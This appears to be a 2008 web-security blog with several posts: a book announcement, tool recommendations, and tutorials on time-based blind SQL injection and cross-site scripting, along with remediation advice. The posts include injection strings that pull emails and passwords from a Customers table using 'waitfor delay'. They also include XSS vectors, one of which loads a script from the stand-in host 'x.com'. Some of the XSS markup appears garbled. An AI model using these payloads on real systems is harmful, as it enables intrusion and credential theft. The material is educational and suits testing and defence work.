Thursday, January 17, 2008

ajax security (book release)

Billy Hoffman and Bryan Sullivan released a new book on AJAX Security this last month (or so). For those of you who aren't familiar with Billy and Bryan, they are/were involved in the SPI Dynamics group before being acquired by HP Software in late 2007. I would highly recommend that you grab a copy of this book for your library.

AJAX Security Book

[Ripped from Amazon]

Billy Hoffman is the lead researcher for HP Security Labs of HP Software. At HP, Billy focuses on JavaScript source code analysis, automated discovery of Web application vulnerabilities, and Web crawling technologies. He has worked in the security space since 2001 after he wrote an article on cracking software for 2600, “The Hacker Quarterly,” and learned that people would pay him to be curious. Over the years Billy has worked a variety of projects including reverse engineering file formats, micro-controllers, JavaScript malware, and magstripes. He is the creator of Stripe Snoop, a suite of research tools that captures, modifies, validates, generates, analyzes, and shares data from magstripes.

Bryan Sullivan is a software development manager for the Application Security Center division of HP Software. He has been a professional software developer and development manager for over 12 years, with the last five years focused on the Internet security software industry. Prior to HP, Bryan was a security researcher for SPI Dynamics, a leading Web application security company acquired by HP in August 2007.While at SPI, he created the DevInspect product, which analyzes Web applications for security vulnerabilities during development. Bryan is a frequent speaker at industry events, most recently AjaxWorld, Black Hat, and RSA. He was involved in the creation of the Application Vulnerability Description Language (AVDL) and has three patents on security assessment and remediation methodologies pending review.

Give yourself a little time with SQL Injection

I was recently involved in web application assessment and discovered something that I wanted to pass along. Keep in mind that this has probably been utilized before, but it is something that I just noticed so … I wanted to throw it out for your amusement.

To set the stage, I had been looking at this application for quite some time and had an idea that SQL Injection might exist, but I was having much difficulty determining if the injection was actually present. The application was catching errors, displaying 404’s, (etc) and really not displaying any good data to make a decision. So …. the question was … if the application is catching our errors and really not giving us anything to work with … how could we ask the question to the database to indicate if we were actually getting our requests processed by the database server?

Answer? Time.

Since the application is catching all of our attempts and not providing any good feedback the thought was … let’s come up with a way to have the database provide us an “indirect” response. To do this, I tried “waitfor”. WAITFOR specifies a time, time interval, or event that triggers the execution of a statement block, stored procedure, or transaction.

Syntax: WAITFOR { DELAY ‘time’ TIME ‘time’ }

To implement ‘waitfor’, simply tag it onto the end of the injection test you’re trying to accomplish. For example, if you’re injection string is:

30000' union select 1,email,password from Customers --

By implementing ‘waitfor’, your string might appear as….

30000' union select 1,email,password from Customers waitfor delay ‘0:0:30' --

Keep in mind that while the injection results might not appear to your screen, you will experience a delay of the response back to the browser. The point here is to demonstrate that:

  1. Our injection is being accepted by the database server
  2. The injection is executing.

So, while our injection string might not render results to the screen, we can test that the database server is executing our injection strings.

Tuesday, January 15, 2008

"Hacker Safe" Site Hacked, Data Stolen

It's simply amazing to me that folks will fall for the marketing literature. Hacker Safe? I think not....

http://www.cioinsight.com/article2/0,1540,2246925,00.asp

Saturday, January 12, 2008

Vidalia Project

Thank you, Baby Jesus!

I'm sure that many of you have seen this software (and i'm sure i'll hear about it), but I had to point out what could be one of the coolest tools out there for your warped heads. The tools is called Vidalia and it's found at http://vidalia-project.net/ . Seriously one of the nicer tools ....it has options that will absolutely help you with your anonymity.

Here's a rundown of what i have found....

  1. Tor: A tool-set for a wide range of organizations and people that want to improve their safety and security on the Internet. Using Tor can help you anonymize web browsing and publishing, instant messaging, IRC, SSH, and other applications that use the TCP protocol. Tor also provides a platform on which software developers can build new applications with built-in anonymity, safety, and privacy features.
  2. Bandwidth monitor: Okay ...so it's not that spectacular, but a nice touch.
  3. New Identity: I haven't been able to research this and exactly how it works, but i would guess that this function generally kills and creates a new Tor circuit. I'll have more information on this later (and will post it), but it definitely works.

This is a must download!

Top 15 SQL Injection Scanners

Keep in mind that I have played with most of the tools out on the web for SQL Injection, but these guys published this pretty nice list of SQL Injection scanners. I will say that there are a couple of commercial scanners that will rip the pants off of most of these, but again, you pay to play.

The Top 15 SQL Injection Scanners page is definitely something work seeking out. One addition to the list would be SQLiX which can be found on the OWASP page -- nice little tool if you're looking for something perl based.

Still Secure (Personal Edition)

For those of you who may have been living on the moon, I wanted to point out that Still Secure offers a great personal solution for you to run at home. Based on the snort IDS, Strata Guard is now available for download ...i highly recommend trying this out. Take me out back and shoot me, but I'm a huge believer in companies giving back to the little guys and when companies like still secure make such a great offering (for free), it's more than worth noting here.

You may get to the site by following: [ Download ]

SQL Injection in ASP.NET

This nice, little How-To shows a number of ways to help protect your ASP.NET application from SQL injection attacks. SQL injection can occur when an application uses input to construct dynamic SQL statements or when it uses stored procedures to connect to the database. Conventional security measures, such as the use of SSL and IPSec, do not protect your application from SQL injection attacks. Successful SQL injection attacks enable malicious users to execute commands in an application's database.

Countermeasures include using a list of acceptable characters to constrain input, using parameterized SQL for data access, and using a least privileged account that has restricted permissions in the database. Using stored procedures with parameterized SQL is the recommended approach because SQL parameters are type safe. Type-safe SQL parameters can also be used with dynamic SQL. In situations where parameterized SQL cannot be used, consider using character escaping techniques. [ more ]

Firefox Extensions

"Add-ons are small pieces of software that can add new features or tiny tweaks to your Firefox. They can add new search engines or dictionaries in other languages, change the look of Firefox with a new theme, or much more". (From the Mozilla Site)

Ok...with that out of the way, that’s the easiest way that these add-on’s can be explained..why should I reinvent the wheel, right? So...during pentesting, etc, I have found a few of these add-on’s to be pretty spectacular and simply thought it might be nice to mention them here.

  • Firebug: Firebug integrates with Firefox to put a wealth of development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.
  • Fire Encrypter: FireEncrypter is an Firefox extension which gives you encryption/decryption and hashing functionalities right from your Firefox browser, mostly useful for developers or for education & fun.
  • Execute JS: Execute JS is a enhanced JavaScript-Console, where you can comfortably enter and execute arbitrary JavaScript-Code and modify functions.
  • Fox Tor: Anonymous Web Browsing using the encrypted TOR network.
  • Web Developer: Adds a menu and a toolbar with various web developer tools.
  • Hackbar: Simple security audit / Penetration test tool (understatement on "simple". Don’t get too excited, but it does give you a bit of functionality without having to open up numerous tools).
  • Switch Proxy: SwitchProxy lets you manage and switch between multiple proxy configurations uickly and easily. You can also use it as an anonymizer to protect your computer from prying eyes.

That’s it for now...I will add more as we move forward.

DevInspect (SPI Dynamics)

You know, I am continuously impressed with the solution from SPI called DevInspect. SPI has just released version 4.0 for DevInspect and it continues to be my tool of choice for testing for web application vulnerabilities early in the lifecycle. If you haven't tried the solution, I would highly recommend doing so -- you can checkout the download here [ DevInpsect ].

From my evaluation, I found the following items which are definitely worth mentioning here:

  • Hybrid Analysis: will perform both white and black box testing on your applications. Whitebox testing focuses more on the source code analysis and input analysis and the blackbox testing has testing geared towards more of the zero knowledge of the application -- very much an "outside looking in" perspective.
  • SecureObjects: The secureobjects technology is fantastic! I was absolutely impressed at the abililty to create regular expressions on the fly and valididate application inputs quickly.
  • Brute Force Protection: DevInpsect was able to recognize application level attacks such as SQL Injection, XSS, Buffer Overflows, etc. and block them.
  • Brute Protector: In addition to everything above, SPI also offered the ability to protect any discovered controls that are discovered on the page simply by dragging the option from the toolbox. The Brute Protector provided the framework to guard the application and allowed me to respond to the events in the way we wanted to respond.
  • Scanning Engines: SPI's tool uses the inherant engines as seen in WebInspect which discovered tons of vulnerabilities in our [test] application.

Those are the notables that we found - you should ABSOLUTELY seek out this solution and give it a test run.

Cross-Site Scripting, Anyone?

I have read so many articles and posts about Cross-Site Scripting (XSS) that I thought ....why not? Why not give it a go and make this as easy as possible.

What is XSS?

XSS is really quite simple. XSS occurs when dynamically created pages reflect back things such as input submitted by the user (forms, bbs, etc) without the proper validation occuring in the application. Meaning, if you have a search field and you type in "Apple"....the application takes the data, does not properly validate that data and echos the phrase "Apple" back out to you in the page. The problem allows for users to be able to submit data such as scripting languages (HTML, JavaScript and VBScript) into the application and that code is then executed by the browser. In addition to the improper validation of the data, the outbound response data to the browser is not properly HTMLEncoded.

So what's the big deal?

Unfortunately, XSS is a very big deal. XSS was placed at the very top of the OWASP Top 10 list for 2007 where it is still leading the pack of application layer vulnerabilies. Now ... it would be reinventing the wheel to try and place all types of sample code on the page so i'll direct you to a nice list for your review. If you are interested in seeing a bit of code, I recommend the XSS Cheat Sheet.... a very nice list from RSnake. Typically, these attacks come in the following locations:

  • Search forms
  • Bulletin Boards
  • Error Messages
  • Forms

Sample Attack Vectors

With XSS, we can look at a couple of simple attack scenarios that might be utilized against a site.

  • Simple Script Tag

    What I refer to as a simple script tag is basically the "hello world" of XSS. In some component of the application, perhaps a form field input area, a parameter in the URL, an error code in the URL (for example, mypage.aspx?error=xss_script_here) may all be points for injection. A sample would be:

    /index.aspx?error=<>alert("XSS")< /script>

    Additionally, we might also discuss what is referred to as Appended URL XSS which would look like:

    index.aspx?a=1&b=<>alert("XSS")< /script>

  • Remote Script Call

    Calling a remote script is also a nice option with XSS. The opportunity to create your own script and place it on some server and then perform the injection is also very effective. If we were to have created a script and placed it on server "x.com", we might inject the following:

    < src="x.com/xss.js">

  • JS Events

    JS Events are often overlooked when discussing points of attack for XSS, but do provide a very nice injection point. Javascript provides numerous events for the language ... one might include:

    < onload="“javascript:malicious">

Keep in mind that there are numerous other attack vectors ... I am only listing a couple here.

What about remediation?

Fortunately, (as with most things in this world) the fix is not terribly difficult. There are two things that we need to be concerned about:

  • Input Validation
  • Outbound Encoding

So let's tackle the Input Validation issue first. With any type of input validation discussion, we can quickly get off on the subject of "White vs. Black" lists and here is my thought -- USE WHITE LISTS. If you're not familiar with White vs. Black lists, the answer is simple. White lists tell your application what you will accept and Black lists tell your application what to look for and to not accept. If I were going to have a party at my house and wanted to invite my friends over -- I would much rather give the door-man a list of my friends and who could come in rather than handing him a list of everyone else in the world (minus my friends) to look for and deny. Not terribly difficult.

So once we have figured out what data we are going to let in to my application, we want to make sure that we HTMLencode data before it is returned to the user. Now....there are a number of ways to use HTMLEncode (each language handles this in their own way; however, here I will show you a nice, clean example in C#.

public string HtmlEncode(
string s
);

Now...as mentioned before, there are a number of methods to perform HTMLEncode .... seek out your flavor and light it up!